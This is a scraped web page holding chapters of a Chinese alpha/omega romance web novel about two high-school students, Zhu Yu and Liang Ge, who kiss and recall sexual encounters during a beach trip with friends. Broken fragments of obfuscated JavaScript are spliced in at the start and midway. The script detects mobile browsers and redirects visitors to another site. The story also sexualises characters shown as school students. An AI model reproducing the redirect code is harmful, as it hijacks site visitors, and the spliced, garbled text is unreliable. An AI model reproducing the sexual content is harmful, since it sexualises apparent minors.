l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084471|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们跟前,笑容淡了一些,稍稍弯下身看着小模特,“他打你不疼吗?” 小模特愣了一愣,磕巴地说,“会疼,但是更爽……掌握得好的话很爽的。” 掌握。 梁阁点点头直起身,笑着说了声“谢谢”,又对沈释说,“我先走了。” 沈释一把抓住他手腕,戏谑道,“下回还来,搞a给你看。” 梁阁笑,“不了,我不喜欢。” 等他走后,小模特偎进沈释怀里,撒娇地软声问,“沈少,他是谁呀?” 沈释没应声,许久才吐出一口烟雾,全无耐性,“闭嘴。” 不知想到什么,又笑起来,“小处a好奇了吧?” 电梯门打开,梁阁走进去,电梯平稳地下沉。 作为一个花名在外的alpha,沈释今天的表现其实远没达到梁阁预期,甚至还不如他,至少祝余从来没空分神。 祝余也比这个模特要可爱得多。而且祝余有一点很奇妙,不管多凶多狠,甚至冲澡的时候人都打晃,眼睛睁不开,倚在梁阁怀里。可一旦出了公寓的门,他立刻变得干净又雪白,身姿挺拔,神态冷漠,走路说话没有任何异样,那么高傲昂昂,半点看不出那个时候的样子。 有时第二天祝余会有体育课,打网球前跑步热身,梁阁坐在教室窗边往下看,能一眼看到他精敏矫捷地跑在最前方,少年柔韧的肢体,风吹动他额前的黑发,那么生机勃勃,像森林里躲猎的鹿。 梁阁看着他,哪个是假的呢?是公寓里两腿打颤、美丽脆弱的omega,还是这个冷漠乖戾,充满好胜欲的优等生。 叮——,电梯门打开,梁阁走出来。 梁阁想,他大概是喜欢这种事的,之前没试过不清楚,加之某件事让他对此抱有厌恶情绪。但事实证明,他确实是个发育正常的alpha,初尝情//事,也难免沉湎其中,他跟祝余的身体和信息素的契合度都很高,非常舒服。 但好像还可以更舒服。 11. 第六章(下) “祝祝我和你一道吧,你一人干坐着多闷啊,我陪你说说话!”出发前李沛死乞白赖和祝余坐了同一辆车,开出去还没五公里就因为太过聒噪被轰下去了,引得后边同行的车辆纷纷按着喇叭幸灾乐祸。 大概是上次成功邀祝余来家里玩让李沛受到鼓舞,下周一是公共假期,连着周末一共放假三天,沈释一行大概有什么玩乐计划,李沛兴冲冲来邀祝余一起,听他的意思,梁阁是会去的。 李沛生怕他嫌闷嫌烦,游说时还特意搬出林松松,说林松松也会去,祝余做出松动的样子,在李沛三番五次游说后顺势答应,但临出发林松松又不来了。 祝余想起前几天学校的清洁日,林松松身上汗乎乎地跑来找他,搂着个篮球,手臂肌肉劲瘦有力,祝余略有嫌弃地扫他一眼,问他是不是刚打完球回来。 “不是啊,我刚去给郁仪搬书了。” 祝余简直受不了他这样上赶着掏心掏肺的倒贴劲,“他是个alpha!你帮他搬什么?” 可林松松十分理所当然地说,“我知道,但是漂亮的人本来就应该被多爱一点啊!我这不是也来给你搬了吗?” 漂亮的人是应该要被多爱一点的。 祝余晚上回去照镜子,觉得自己实在是很漂亮,是应该被多爱很多很多的。 路程两个多小时,车辆穿过不少隧道和高桥,在公路上飞驰,海风咸湿地灌进车里。 前车停下时海面上傍晚时分,薄阴的天空一片灰蓝,沈释招呼众人下车,这是一处向海面突出的岬角。 岬角处看得见左方悬崖上高高耸峙的灯塔已经亮起灯光,从岬角侧边下去,有大片平缓的沙滩,细沙如银,已经进入夏天,近岸的海面却仍保有着春天海藻的暗红。这是片幽寂美丽的海滩,天将黑未黑,月亮已经升起,海面上波光粼粼。 他们开着车灯,在海滩点起篝火,玩水、放烟花。玩得兴起,沈释忽地冲过去背起郁仪——郁仪下岬角时扭伤了脚踝,又因为林松松没来,正一脸郁色地看着近海的潮骚。 沈释背着他在沙滩上放肆奔跑,挤开众人,大笑着喊道:“大小姐驾到,通通闪开!” 郁仪阴着脸,用胳膊勒沈释的脖子,“放我下来,你找死。” 海滩上一片哄笑,另外几个同行的beta和omega在商量怎么拍照。 祝余对海没有兴趣,对月亮、潮汐、篝火、烟花,拍照通通没有兴趣,非要说海的话,他比较喜欢高纬度寒冷地区的海水和日出。他兀自站在一块礁石旁,即将六月,海边的夜晚仍有凉意,他听到“诶”的一声,是女孩子软甜的腔调,“你可不可以帮我们拍照?” 祝余望过去,篝火明黄的暖光里梁阁正接过递来的微单,微笑着说,“好。” 祝余扭回头看着退潮的海面,细碎地听到那边的动静,似乎排着队在拍照,说说笑笑,融洽热闹。祝余寸目不移,继续心无旁骛地看海,直到耳边的声音渐渐熄了,有人轻轻点了一下他后肩。 “到你了。” 他无知无觉地回过身,就对上梁阁架在眼前的黑色微单,正对着他,几乎立刻有些无所适从,喉咙收紧,正要说“我不要拍”。 梁阁就笑着问,“不笑吗?” 祝余滞了一瞬。 其余拍完照的人已经散开去放烟花棒了,周围都是烟花绚烂的光亮和呛人的白雾,笑声吵闹。 梁阁又说,“笑一下。” 祝余别开眼,无意识做了个吞咽动作,才强压着羞赧抬起头来,眼珠清炯炯地直视镜头,刚刚提起唇角,就听见快门“咔”的一声响,梁阁低低地说,“你好漂亮。” 他的心砰砰乱跳起来,脸颊在这即将到来的黑夜中泛出红色,梁阁笑着走近他,将微单塞进他手里,“看看。” 仿佛只是一个擦肩,放下就走开了。 李沛在这时吁吁跑过来,“祝祝你怎么在这儿?放烟花去吧?要不我给你捡海螺?那边有珊瑚礁,对了你饿不饿……” 祝余拿着微单不高兴地想,说完漂亮就走了?漂亮的人是应该被多爱一点的,你知不知道? / 当晚入住海湾的一间酒店,豪华单人间,有露台,一眼望去就是碧青无垠的海,在知道酒店是沈释家的之前,祝余没有什么不满意。 翌日一早,他们坐游艇出海观鲸,郁仪已经回去了,不知是昨晚走的,还是今天清早。 海面一望无垠,时而阴雨时而晴空,驶离港湾一个半小时,众人吹厌了海风,聚在船上的休息室,船上配备餐厅,酒吧,图书馆,热水泳池等,设施齐全,李沛和沈释他们在玩牌,吆五喝六,围着环了一圈人。 每次看到李沛和他那伙发小朋友混在一起,祝余都有种格格不入的怪异,仿佛满屋子豺狼虎豹,独李沛一只活蹦乱跳的笨狗崽子。 梁阁没参与牌局,他坐在里边的长沙发上看书。 祝余在吃一块白味增蒙布朗,不时被那边的动静吵到而分神投去一眼。从李沛气急败坏的情状来看,他应该输得很惨,而且似乎赌上了头,手里筹码输光了还非要继续玩,放话说他小阁楼那些珍藏,沈释要哪个就赌哪个。 沈释可看不上,“你那堆破铜烂铁,我才不要。”也不理李沛气呼呼地叫嚣,往梁阁那瞥了眼,小声撺掇说,“把你的小马给我吧。” 李沛一下噤了声,小马就是生日梁阁送给他的那匹弗里斯兰马,李沛非常珍爱她,经常跑到马场给她喂马料,跟她说话,给她洗背,半个多月只骑过一次,还给她取了个被沈释嘲笑了好久的名字,莉莉。 沈释看他犹豫,笑着说了几句什么,李沛眼珠子木木转了几转,点头,然后就输了个彻底。 沈释笑着靠上椅背,“愿赌服输,回去你就找人给我把马送过来吧。” 李沛嘟嘟嚷嚷地不愿意,恨不能吃后悔药,把随身戴着的翡翠龙龟都拿了出来,“我用这个换行吧?这个给你,这小龙龟比小马还贵呢!” “我不要,我就要马,你别耍赖。” 李沛磨了半天,沈释也不松口,李沛深感受到欺骗和欺负,跑去找梁阁告状。梁阁已经倒在沙发里睡了,书盖在脸上,被李沛一番控诉吵醒,他揭开脸上的书,眼神不甚清明地看着李沛,又去看沈释,“什么?” 李沛委屈又心虚,不敢说自己赌瘾上头把梁阁送他的马输了,春秋笔法只说沈释玩牌把他的小马骗走了。 梁阁坐起了身,好像没生气,揉了揉前额,笑意淡淡的,“不是在玩吗,怎么赌起来了?” 沈释就说了,是李沛赌上了头非要继续,现在输了又赖账。李沛正待辩解,沈释十指交叉一副散漫不拘的样子,乜着李沛撂话,“告状也没用,输了就是我的,就算你告诉你哥,他也不能逼我还你啊。”说完,又不确定地去瞟梁阁的脸色,“你不会逼吧?” 众人哄笑,梁阁也笑了,问沈释,“那要怎么办?”沈释悠哉又得意,说输了就赢回去咯。 李沛巴巴望着梁阁,“哥。”梁阁无奈起身走到牌桌边坐下,沈释挑眉看他,“很有把握赢我吗?” 梁阁笑着说,“完全没有。” 梁阁牌技稀松,他玩牌不太认真,权作消遣,打得不好不坏。沈释对他知根知底,浑然不惧,“别说不疼你,五把,赢一把就给你。” 果然梁阁第一把输,第二把输,第三把还输,连输三把,李沛都开始急了,沈释忍不住调侃,“要不给你十把?怎么样,你这有点难赢啊。” 梁阁说,“不用,就这把赢吧。” 沈释笑,“嚯,你说赢就赢?” 梁阁慢条斯理地清牌,“不是,好像牌还不错。” 沈释不以为然地说,牌好在牌技面前不堪一击。然后梁阁就真的赢了,他抛出最后一张牌,眼神清湛地对着沈释笑,“牌真的还不错。” 沈释定睛看他半晌,偏了下头,才把手里余下的牌撂出去,要笑不笑地看着梁阁,“又演我是吧?” 李沛当即欢呼“我的小马!我的小马!”,对着沈释好一阵吐舌瞪眼的显摆,很有些狐假虎威的劲头。 “你的小马?”梁阁挑起眼看他,仿佛不解,“我赢的,怎么是你的?” 李沛哭丧着脸,“哥,我错了,给我吧,我再也不拿来赌了……”他蹲在梁阁腿边,“我以为我肯定赢的,沈释骗我!要不,哥……我也用小龙龟跟你换吧,你把小马给我吧,我再也不赌了。” 梁阁接过他手里紧紧攥着的小瑞兽,这也是李沛的心爱之物,戴在身上养了好多年,见梁阁真接过去了,他脸上还有些低落。 梁阁掂了掂,问他,“后悔了?” 李沛见他动摇,点头如啄米,“嗯!哥,我特别后悔!” “还赌吗?” 李沛乘胜追击,摇头如拨浪鼓,“不!我再不会赌了哥,我就是着了沈释的道!我以后都不赌了!哥我跟你保证!我从小最听你的话了……” 梁阁松了手,挂绳系在他指节,坠下来的翡翠龙龟在李沛眼前来回摇摆,逗狗一样,“想不想要啊?” 李沛眼珠子滴溜溜跟着翡翠转,迭着声应,“想想想!” 梁阁笑了声,把手里的东西抛给他,“留着吧。” 李沛连忙接住,拖着那种黏糊的撒娇的长调,清亮地喜悦,“哥——,你最好!” 祝余看着他们,梁阁到底什么意思呢? 他明明这么疼爱李沛,亲弟弟都不过如此,可他明知道李沛喜欢祝余,却好像完全不在心上,毫无顾忌地,甚至在李沛家里,都背着李沛偷/情般地和他接吻。 他怎么想的? 热潮一旦褪去,那些被掩下的问题便如礁石般一一浮出水面。 祝余深觉自己晕了头,没有确定关系,没有谁说开始,也没有更近一步,仿佛纯然受到信息素的牵引,就那么稀里糊涂地在那间公寓里和梁阁偷尝禁果般黏了半个月。 他至今都不知道梁阁的信息素是什么,闻起来是热的,尤其是信息素失控的时候,几乎像野火过境,皮肤都在烧。可不管多热,吸进去都是冷的,清凉如薄荷,非常清新沁人的凉韵,有强力的穿透性和扩散性,整个呼吸道都被那种锋利的冷意占领,像结了层薄霜。 他也不知道梁阁为什么会转到他们学校来,又为什么有很长一段时间都待在休闲室,还有那次在休息室为什么信息素失控,人也异常虚弱。没有人告诉他,他试过套李沛的话,居然也套不出来。 他长久地以一种远距离的隐秘姿态窥探梁阁,实际上却对他知之甚少,实在是频率太低太匆匆,他这些年见到梁阁的时间可能拢共都不如这一个月多。 正想着,向导就惊喜地招呼他们上去观鲸。 这片海域非常晴朗,祝余远远地看到座头鲸拱起的深黑色后背,又看到它把尾巴探出水面击打水花,没能见到鲸鱼火息,但也算壮阔。 观完鲸后游艇直接将他们送达附近的岛屿,是座风景秀丽的菱形小岛,开发还不久,入住的是同行某人家里的半山海岛别墅。 在船上用过午餐,简单休整后出门,坐沿海的电气火车环岛绕了一圈,又去逛了一些岛上特色后,祝余仰躺在沙滩的太阳椅上喝一杯果汁朗姆冰酒。 李沛万万放不下他,冲着浪呢,每隔一会儿就抱着冲浪板笑嘻嘻蹲在祝余椅边鞍前马后,他来一趟他那伙朋友就要调笑一趟。 祝余烦不胜烦,抬目望去,梁阁只是安静地坐在那边躺椅上看书。 祝余倒真好奇这是本什么书,让他从上午看到现在,这么认真专注。 李沛一整天都对沈释横眉冷对,他深深觉得以小见大,沈释狼子野心以后必定要反水做局把他骗个精光。沈释勾肩搭背地搂着他,数次被抖开后,仍然笑意盈盈地箍住李沛肩膀,“还计较呢,跟你闹着玩儿呢,就算你哥不赢回去,我难道会要你的小马?” 李沛不停挣扎,“你会!” “我那都是为了让你长记性,你怎么那么没良心。是不是那天你说想看鲸鱼,你爸又不许你出国,我立马找人组局带你来这了。都一块儿长大的,小傻逼,哥哥还能害你吗?你看看你,打个牌都能上头,随便撺掇两句,你就什么都敢往牌桌压,你哥是能给你兜底,可他也不能两眼睛天天净看着你啊,我不让你肉疼一次,你怎么能长记性?”他摸着李沛的脑袋,语重心长地说,“沛沛,你要长大了,别总给你哥添麻烦。” 李沛真有点被说动了,犹疑地看着他。 沈释笑吟吟地回望他,忽然眨着右眼给了他一个wink,“我可爱吧?” 李沛一阵恶寒,一把将他掀开,“你去死啦!” 晚上在别墅围着桌子盘坐玩游戏,有人提议玩“Never have I ever”,流行的聚会饮酒游戏,规则就是每个人轮流说一件自己没做过的事,其他人如果做过就要喝酒。这种聚会游戏玩到最后无外乎绕着下三路打转,刚开始还含蓄,玩过一轮,直到梁阁下楼。 他们催三唤四地起哄非要梁阁也来玩,这些人其实和梁阁并不相熟,很多都只粗略知悉他的家境背景,透过李沛沈释等人才和他有交集,都对他又兢兢又好奇。饶是这样叫唤,梁阁也只是站在那不置可否地看着他们,还是沈释和李沛上手把他硬拽过来按在空位上,就在祝余旁边。 气氛沸腾得好比油锅里溅进一滴清水,所有人都躁动起来,每人面前都放了杯酒。轮到的那个人站起来,环视一圈,不怀好意地舔唇笑着说,“我从没做过。” 话一出口,立刻有此起彼伏的笑骂声,还有质疑“放屁!装吧!”,沈释率先喝了一杯,众人见怪不怪,又有好些人喝了,两对情侣也在起哄声中交杯着喝了。李沛没喝,他红着脸忸怩地坐在祝余旁边看手指。 气氛暧昧八卦到极点,到处是若有若无的探看的视线,你来我往暧昧得可以在空中织网,亟待一个重磅炸弹来满足他们膨胀刺激的窥私欲。 梁阁端起酒喝了。 场上先是一静,又是一惊,四周叫得沸反盈天,沈释甚至绕桌跑过来,蹲在梁阁身后,揽着他肩膀摇晃着问,“什么时候?什么时候?” 李沛懵懵扭头看过来,又惊又呆,“哥。” 梁阁平静地笑着抬起手肘将沈释抵开,周围笑声嘈杂,祝余垂眼看着自己面前的酒杯。 梁阁懒散地稍稍往后仰,右手撑在地上,小指仿佛无意地搭在了祝余小指上,然后轻轻勾了一下。那种皮肤细微的摩挲瞬间从小指漫到头皮,祝余整个人都极小幅度地耸了一下,他低着头,热得后背都沁出了汗。 “我喝两杯吧。”梁阁拿过酒瓶,平淡地说。 众人的视线再次聚焦,场面又闹腾起来,不停追问“为什么为什么”,有人借着酒劲说了几个特别荤的猜测,惹得李沛面红耳赤地叱骂,所有人都吊足了胃口看着梁阁。 梁阁喝了那杯酒,只是笑着说,“沛沛在这里,不说了吧。” 他说完就起身,叫他们换个游戏玩。 于是真就换了个游戏,玩过两轮,祝余发觉梁阁和沈释又同时不见了。 找了个由头起身,他在屋子里漫无目的地走了一圈,去露台透气。 海岛气候温暖湿润,但夜间温度会有所下降,海风掠过山林吹来,祝余呼出一口气,他不经意偏过头去,正见梁阁和沈释站在露台廊道的尽头,吞云吐雾,各自衔着一点火光。 沈释叼着烟在那絮絮说着话,梁阁半低着头,没什么表情,冷淡又放空的样子,绝对不是只抽过一次两次的架势,祝余看着他两指夹着烟取下,微仰起脸,吐烟的动作斯文得像叹息。 他喉结动了一下,不知道为什么,祝余想起他sj的样子。 梁阁夹着烟的手搭在栏杆上,半弓着身咳了一声,冷不防侧过脸朝这望来,两人的目光在夜色中无声撞了个响,祝余转身走了。 他一直以为梁阁身上的烟味是沈释染上去的,没想过是梁阁自己抽烟,实在是梁阁气质外表都太具欺骗性,看起来就温文干净,没有任何不良嗜好的样子。 他居然抽烟。 “你和第一名,其实挺合适的。”沈释背过身,手肘抵着栏杆,忽然说。 梁阁看了他一眼,静待他的下文。 “很好的联姻对象,他知道他家里干什么的吗?”沈释提了个设问句,然后自己答了,“开医院的,不止一两家,是所有z系的医院。还有他继母,J界高层,明年又要高升,姓莫,你应该知道。只有他一个孩子。” “这种家庭的omega一般到了年纪就会定亲联姻,他已经快到年纪了。你不如把他追到手,反正他漂亮又聪明,基因肯定不错,脾气是差了点儿,但带出去多长脸啊。而且,”沈释促狭地看着他,“你之前不是对他挺有兴趣的吗?” 梁阁掸掸烟灰,语气淡得仿佛一拂就散,“有吗?” 祝余没再回去,上楼进房间泡了个澡,泡完出来有些口干,房间里的水喝完了,懒得差使人,他穿好衣服乘电梯下楼取水。 电梯门一开,他就见梁阁环着手倚在电梯外的墙壁,平静地望着某处,他循着梁阁的目光看去。 李沛正满脸醺红,迷迷瞪瞪地在墙角“横冲直撞”,醉得眼睛睁不开,直直往前走,脑门撞在墙上,“啊!好痛,谁打我……”又转一边,再次被撞,委屈地捂着肩膀,“怎么又打我?干什么?!” 祝余就看着他左边撞完右边撞,不停叫疼,还一个劲往前冲,非要在墙角撞出条路来不可,问梁阁,“他怎么了?” 梁阁稍作思考,说,“被墙壁围殴了。” 祝余还懵懂着,梁阁又问,“可以帮我扶他一下吗?” “哦,好。” 说是帮忙扶,可祝余刚要伸手去搀李沛,梁阁就说,“你不用碰。” 于是完全由梁阁架着李沛,祝余空手空脚走在另一边,就这么送李沛回二楼的房间。李沛醉糊涂了,度数那么低的起泡酒也能让他醉成这样,脚步虚浮,几乎是梁阁提着他在走。 祝余静静跟在一边,不知怎么想起刚才那句“被墙壁围殴了”,品出些冷幽默来,不禁有些想笑,掩饰地偏过头咳了一声。 梁阁把李沛送进房间,祝余没有进去,站在门外等,梁阁出来时,正听到有人说笑着上楼的动静。祝余一窒,立刻想和他分开,梁阁直接打开旁边的门,拉着他闪进走廊尽头的小阳台。 他们刚一进去,果然就有人上来,走廊有打闹走动的声音,小阳台的门是彩绘的玻璃窗,大概无法看清人影,祝余卸了口气。 阳台面积狭小,约莫一扇门宽,楼下是庭院的花圃,远眺是海岛的潮骚。海岛的夜晚又黑又静,祝余伏在栏杆上看着远处的海潮,走廊上的人迟迟没走,他又直起身来,小声问梁阁,“你刚才为什么喝两杯酒?” “你不知道?”梁阁好整以暇地看着他,黑色的瞳仁倒映着彩绘窗透出的灯光,“那你怎么不喝?” 你既然不知道我替你喝了,那你怎么不喝,你明明和我做过。 祝余想说,我本来就打算不喝,话到舌尖又觉得难以回答,索性不说。 静默片刻后梁阁说,“不过刚才喝酒挺疼的,记得吗?”他笑容浅浅的,“那天你把我舌头咬破了。” 狎昵的记忆回笼,祝余有些赧意,“还没好吗?” “反正喝酒是有点疼。” “看看。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084472|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么看?” “吐出来啊。” 梁阁右手撑在栏杆上,半弓下身来看他,“太暗了好像看不到,你要不要换个方法?” 两张脸隔得很近,祝余无由来一阵口干舌燥,像被热火在烘,他眼珠转了一圈,又往下瞥,看着梁阁近在咫尺的薄红的唇,“那你也要吐出来啊。” 梁阁笑了笑,嘴唇微微分开,探出一点点舌头。祝余仰起脸噙住他舌尖,他尝到梁阁口腔的味道,他以为会有烟味,但没有,也没什么酒味,很干净。 不敢发出声响,他们吻得很浅,舌头缠绕着轻轻错动,嘴唇贴合,梁阁吮着他舌尖轻轻地唆,祝余只觉得灵魂都顺着唇舌被吸走了,脚底发麻,像腾空一般。 梁阁没有搂住他的腰,只是握着祝余的手,轻轻捏他指尖,每捏一下,祝余心脏都跟着麻痹一下。 吻了一会儿他就完全喘不上气,膝骨发软,受不住地软下来,脸伏在梁阁颈窝,没用地小声呼喘着。 梁阁这才搂住他,抚着他脊背吻他耳根,外面的人仍然没走,祝余平复下一些,又仰起脸来,梁阁低下头继续吻他。 再度停下时,外面已经没了人声,梁阁打开小阳台的门,走廊上静悄悄的,隐约听得见楼下游戏的笑声,梁阁问他,“出去散步吗?” 接近十一点,海边已经没什么人了。 低水平的光污染所赐,这座海岛是很好的星系观测点,据说可以用肉眼看到银河系,但今晚可能因为满月太圆太亮,穹顶看不到很多星星。 祝余踩在柔软的沙地上,海风潮润地吹过来,梁阁走在他身侧,祝余无由来地感到雀跃和轻快,他们走在月光和夜色里,潮声温柔。 祝余想到昨晚刷到的新闻,说这座岛最近治安不好,晚上偏僻处可能会遇到外岛渔民持刀抢劫,但他想了想,又说,“不过,遇到也没关系,你正好逮住他们,搞不好明天还能上当地新闻。” 不期然地,梁阁说,“我不会打架。” 祝余始料未及,思绪都空白了一瞬,侧过脸看他,“你不是军校的吗?” 梁阁点头,“因为成绩太差被开除了。” 成绩太差被开除了…… 祝余眼睛都睁圆了,“真的吗?” 梁阁真挚地回望他,“真的。” 祝余心思瞬间百转千回,原来他是因为成绩太差被开除了,才来我们学校的,他在那里五年了还不会打架,怎么这样? 又自我排遣:算了,帅就行了,我就喜欢花架子。 也没必要两个人都会打,我来打。 不会打架但会c人,是a的美德。 梁阁看着他定定地站在那里,神色恍惚的样子,嘴唇抿了一抿,还是忍不住偏过头笑了。 听到笑声,祝余才反应过来,一下凑到他眼前,“你是不是骗我?” 梁阁又是那副无辜真诚的模样了,“什么?” 祝余都让他气笑了,眼睛弯弯的,唇角往上翘,喉咙里笑出两声气音,下巴抬着得意又笃定地,“你就是骗我!” 梁阁眼神低低地看着他,“骗你,你还笑。” 他不说祝余都不知道自己笑了,立即别开脸,收敛好神色。 气氛旖旎得刚刚好,夜色晴明,圆月悬在海面上,祝余看着远处山上亮起的灯塔,状似无意地提起,“你抽烟?” 梁阁似乎以为他介意,静了一静,“我可以保证在你面前没有烟味。” 不算托大,至少没有信誓旦旦说戒烟。 祝余压下鼓噪的心跳,佯作平淡地挑起眼问他,“你为什么向我保证啊?” 梁阁看着他,“你说呢?” 祝余说,“我不懂。” 梁阁低头笑了笑,“是吗?” 祝余半夜回到房间时还犹自窝火,是吗?是吗!是吗?! 他一脚踹在门上,动静很响,对面房间的门开了,沈释倚着门框,耳饰琳琅,全身上下不着寸缕,侧腰有大片妖冶瑰异的纹身,笑着和他打招呼,“怎么了第一名?不开心要不要和我一起玩玩?” 祝余眼神阴嗖嗖的,上下扫视他时像两把冰冷的钢刀,冷声道,“你这纳米吊,是要我用显微镜来找吗?” 说完砰地一声把门关上,沈释倚着门,后知后觉地捂住受到羞辱的地方,骂了声“操”,“说我纳米吊?!” 回到房间,祝余抓起床上的枕头狂殴一顿,最后连枕头带人抛到床上,仍然心绪不平。 暧昧到这个地步了,明明只要梁阁顺势再主动一点,戳破这层若有若无的窗户纸,他们就可以谈恋爱了! ……不是,梁阁就可以被他玩弄了。 祝余在床上翻来覆去,心烧肝炙般的怄气,心思躁乱成一团毛线。 早上醒来时,外面下起了雨,雨丝打在窗户上滴滴答答,祝余躺在床上,好像透过屋顶看见雨丝坠下来。 下雨天他不太想出门,也不想搭理那些人,昨天与恋爱失之交臂让他短暂的心灰意懒,心情七零八落的,索性听雨到雨停。 等他出房间时,别墅里没看到其他人,不知道是宿醉没起还是出去了。 他们入住的这栋别墅由某世界知名酒店开发,别墅区域共享酒店式服务和配套,祝余去酒店餐厅吃了顿融合料理,开始打发时间。 酒店的综合健身中心有间台球馆,场馆设施非常不错。祝余进去时,里面有不少人,场馆里设了吧台和矮桌,很多人边打台球边喝酒聊天,环境清幽,只有台球相撞和低声交谈的声音。 他进去站了会儿,就有人上前和他搭话,“来打球吗?一起玩?” 来人摆出自认为相当阳光友好的笑容,可惜祝余根本不抬眼看他,径自冷漠地走过去拿球杆。 那人并不放弃,后退着走在他身前,仍然笑着问,“你也是酒店的住客吗?” 祝余置若罔闻,挑了根趁手的球杆,直接侧身要去别处。 那人伸手拦在他身前,这对搭讪来说已经越界了,“会打吗?要不要来一局?” 祝余看着他拦在身前的手,又抬头扫了眼他的脸,透过他肩膀看到他后面两桌打台球和喝酒的人都看戏似的往这打量。祝余一望过去,有人欲盖弥彰地别开了视线,另外一些人自以为友好地笑着朝他举杯,应该都是和这个人一起的。 “赌什么?”祝余问。 那人愣了愣,惊喜地说,“赌什么?都可以呀,你想赌什么?” 祝余朝那抬了抬下颌,“那些人你都说了算吗?” 那人回头看了一眼,笑着说,“他们啊,都是我朋友,可以。” 那人领着祝余到了他们的台球桌,本着些搭讪者谦让的礼仪,他让祝余先开球。 祝余开球,有球进袋,两球过线。 “哇,他会打诶!”那伙人中有人说。 祝余台球很厉害,他继母非常热爱台球,家里还有间专门的台球室,三不五时就叫他来一局,胜率大致可以五五开。 他并不觉得自己会输,何况这些人打的还不是斯洛克,只是九球。 祝余很快又将一号球击入袋中,搭讪者撑着身后的球桌和他搭话,“其实你一进来我就看到你了,第一眼看到你,我觉得你应该是a,但你身形偏瘦,也可能是b,可是你这么漂亮,怎么看都是o。”他笑着问祝余,“待会儿我赢了,可以告诉我你的亚性别吗?” 祝余没说话,也没抬头,继续击球,接连把2、3号球击入袋中。 那人的同伴中有人走上前,先是故作友善地和祝余谈笑了几句,没有得到回应,他又说,“你知道吗?文肇他平时很腼腆的,今天是他第一次和人搭讪,就是你。” 多么拙劣、油滑、前后矛盾的话术,看来他们经常玩“把o带去聚会,然后所谓的好友悄悄告诉o,‘这是他第一次带o来见我们,你真的很特别。’”的老土把戏。 祝余从始至终没有抬头,看着台球桌,走位,直到他将七号球击入袋中,这些人终于开始关注球局,围看过来。他干脆地将剩下的8、9号球挨个入袋,桌上只余母球。 没等任何人开口说话,祝余抬起头,没有情绪地看着他们,“你们,出去。” 等人走了,祝余去吧台要了瓶汽水。 没再打九球,他找了新台打斯洛克,刚拿起球杆,一抬眼就看到梁阁站在球桌对面。 他怎么在这?刚才没看到他啊?从旋梯下来的?他会打台球吗? 祝余迅速做出了决断。 他生疏地拿着那根台球杆,像新手第一次见到这根长杆一样晃了晃,“这个我不太会。”他看着梁阁,柔弱无助地,“你教我一下吧?” 梁阁看着他,不知怎地笑了一声。 他走到祝余身边来,调整了一下他握杆的姿势,站在他身后,几乎将他环在怀里。 梁阁大概喝了酒,身上散着些甘冽的酒气,不难闻,但情绪明显比平时要高一些,呼吸温热地拂过他耳廓。虽然已经有过许多次,但如此近密的身体距离,还是让祝余感到脸热心跳。 他竭力让自己将注意力集中在球桌上,不让生理反应暴露自己此刻的心绪,像个认真的初学者那样笨拙而新奇地比量着杆头、白球和红球,忽然听到梁阁说。 “我刚坐在后面。” 祝余一顿,后面? “我看到你一杆清台。” 祝余猛地抬起头来。 梁阁握住他的手,俯低上身,咚的一声将白球击出。 祝余神魂出窍地看着台球在桌上,滚动,相撞,散开,最后应声落袋。 梁阁轻轻笑着,“虽然现在这样也不错,但你是不是该跟我表白了?” 12. 第七章(1) 拳击手套在沙袋上快速地击打着,汗珠顺着祝余鬓角眉梢一点点滑下,他听见自己渐渐急促的喘息。 大概当时情况太措手不及,情绪上涌得太快,全是恼羞成怒的本能反应,很多细节他已经无法具体地回忆起来了。 梁阁说完那句话之后,他只感到一阵刺痛神经的耳鸣,脑子里轰轰隆隆,桥梁坍塌、飞机坠毁、核弹升空等灾难画面轮番闪现,最后凝成一片故障般的灰白的噪点。他不知道自己僵滞了多久,可能几秒,也可能几十秒,但绝对不超过一分钟。 接着他直起身偏过头去,下颌抬起来,可能还有个讥诮的笑,觑着梁阁,“你说什么?” 他像听了一个笑话,后面还说了什么他也记不清了,大抵是一些轻蔑尖刻的挖苦,一些夹枪带棒用以掩饰的欲盖弥彰。面上可能没有太大的波澜,但他知道他全身筋脉骨骼都在用力,他看着梁阁,眼里透出锐利的光火,整个人高傲昂昂,像一把又利又薄的剑。 梁阁只是看着他,像平时一样,既安静,又斯文。 祝余撂下台球杆就走,从场馆出来时似乎还撞到了李沛,李沛和他说了什么,祝余没听,直接走了。 第二天回程,他没再和梁阁有任何接触,梁阁也没有找他。 砰、砰、砰、砰—— 过于无章法、发泄性质的打拳使他肌肉酸痛,动作逐渐慢下来,祝余两手护着沙袋,额头嗑在沙袋的皮革上,脸孔被汗水洇湿。 他越想越觉得好笑,梁阁凭什么认为他对他是爱慕,是在追他? 你知道我有多少人追吗?我不过给你一点追我的机会罢了,你居然自作多情地以为我喜欢你。 撩是忽冷忽热,追是炽热真诚。 他想他的姿态够轻佻,够无所谓,够不以为然,哪里让梁阁会错意以为这是追求?真是自作多情! 他觉得很不开心,像败了一仗,更有一种被看穿的羞耻感。 等汗渐渐熄下来,祝余去冲了个澡,头发还没干,趴在床上玩手机。 他不是没有消遣,闲暇时候他喜欢看漫画。 原本他一直在追一个漫画,人气ab漫画,漫画里有个叫“命运之番”的设定,存在于ao之间,指alpha和omega的信息素契合程度极高,类似“天生一对”。但ab漫,另一个主角自然是beta,于是这个漫最火的梗就是“违背命运和本能去爱你”。 祝余先前虽然不算狂热,却也是忠实读者,现出版的册数全部集齐了。 直到有天他终于拖拖沓沓地分化成了omega,一切都变得不是滋味了,再看这个漫画怎么看怎么窝火,愤懑之下,全丢进了垃圾桶,从此扎根ao区。 在ao区翻了半天也没找到特别合心意的新作,也可能是他心烦意乱没耐下心看,找了许久才看到一本画风非常干净舒服的免费连载,画手应该是新人,作品栏里只有这一本。 